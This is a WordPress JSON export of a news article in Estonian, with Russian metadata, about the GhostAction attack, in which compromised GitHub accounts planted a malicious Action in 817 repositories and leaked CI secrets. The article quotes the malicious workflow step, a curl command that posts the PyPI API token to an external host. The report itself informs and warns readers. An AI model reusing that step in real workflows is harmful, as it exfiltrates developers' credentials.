{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"GhostAction r\u00fcnnaku k\u00e4igus on kompromiteeritud 817 repositooriumi GitHubis","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

GitGuardiani teadlased on avastanud ulatusliku r\u00fcnnaku GitHubi kasutajate vastu, mille k\u00e4igus sai kontrolli alla 327 kontot ning pahatahtlik Github Action t\u00f6\u00f6tleja lisati 817 hoidlasse. R\u00fcnnak t\u00f5i kaasa 3325 saladuse lekkimise, mis olid kasutusel pideva integreerimise s\u00fcsteemides ja edastatud keskkonna muutujate kaudu, sealhulgas PyPI, GitHub, NPM, DockerHub ja erinevate pilvelahenduste juurdep\u00e4\u00e4sutokenid.

\"GhostAction<\/center> <\/p>\n

GitHub Actions v\u00f5imaldab arendajatel koodile lisada t\u00f6\u00f6tlejaid, et automatiseerida erinevaid toiminguid GitHubis. N\u00e4iteks saab GitHub Actions abil teostada teatud kontrollid ja testid commit'ide tegemisel v\u00f5i automatiseerida uute Issues'ite haldamist. Kahjulik t\u00f6\u00f6tleja levis nime all «Github Actions Security» ja sisaldas osas «run» k\u00e4sku «curl», mis saatis keskkonna muutujaid v\u00e4lisesse hosti pideva integraatsiooni keskkonnas \u00fclesandeid k\u00e4ivitades. Kahjulik commit lisati projekti hoidjatele kuuluvatelt kontodelt, mis t\u00f5en\u00e4oliselt olid varem h\u00e4kitud v\u00f5i langenud valeandmete ohvriks. <\/p>\n

R\u00fcnnak tuvastati p\u00e4rast anomaalse tegevuse anal\u00fc\u00fcsi, mis oli seotud FastUUID paketiga, mis pakub Python'i m\u00e4hist Rust'i UUID raamatukogule. FastUUID paketti, mida on viimase n\u00e4dala jooksul alla laaditud peaaegu 1.2 miljonit korda, kasutatakse s\u00f5ltuvusena populaarses projektis LiteLLM, millel on PyPI-s \u00fcle 5 miljoni allalaadimise n\u00e4dalas. FastUUID hoidla muudatuste anal\u00fc\u00fcs n\u00e4itas, et 2. septembril lisas projekti hoidja commit'i uue GitHub Action'i t\u00f6\u00f6tlejaga, mille kood saatis token'i PyPI hoidla v\u00e4lisesse hosti. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n

Probleem suuteti tuvastada enne, kui kurjategijad said \u00e4ra kasutada kinni p\u00fc\u00fctud token'i \u2014 kahjulike muudatuste v\u00f5i muudetud versioonide avaldamist PyPI-s FastUUID jaoks ei ole registreeritud. Sarnaseid GitHub Action'i asendusi on tuvastatud veel 816 hoidlas, mille omanikele ning PyPI, GitHub, NPM ja DockerHub administratsioonidele on saadetud teavitused. Eile \u00f5htul oli kahjulikud commid ligikaudu 100 hoidlas t\u00fchistatud. Praegu tuvastatakse GitHubis 671 commit'i, kus on kahjulik GitHub Action.
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GitGuardian \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 GitHub, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 327 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 Github Action \u0432 817 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432. \u0410\u0442\u0430\u043a\u0430 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 3325 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u043e\u043a\u0435\u043d\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a PyPI, GitHub, NPM, DockerHub \u0438 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":142434,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-142433","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47R\u00fcnnaku GhostAction k\u00e4igus on GitHubis kompromiteeritud 817 hoidlat | ProHoster","description":"GitGuardiani teadlased avastasid massilise r\u00fcnnaku GitHubi kasutajate vastu, mille k\u00e4igus saadi kontroll 327 kontole ja tehti kahjuliku Github Action k\u00e4sitleja asendust.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438 GhostAction \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e 817 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043d\u0430 GitHub | ProHoster","og:description":"\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GitGuardian \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 GitHub, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 327 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 Github Action \u0432.","og:url":"https:\/\/prohoster.info\/et\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-09-06T09:11:59+00:00","article:modified_time":"2025-09-06T09:11:59+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"142433","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 14:39:19","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 14:39:19","updated":"2026-01-23 14:39:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/142433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=142433"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/142433\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media\/142434"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=142433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=142433"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=142433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}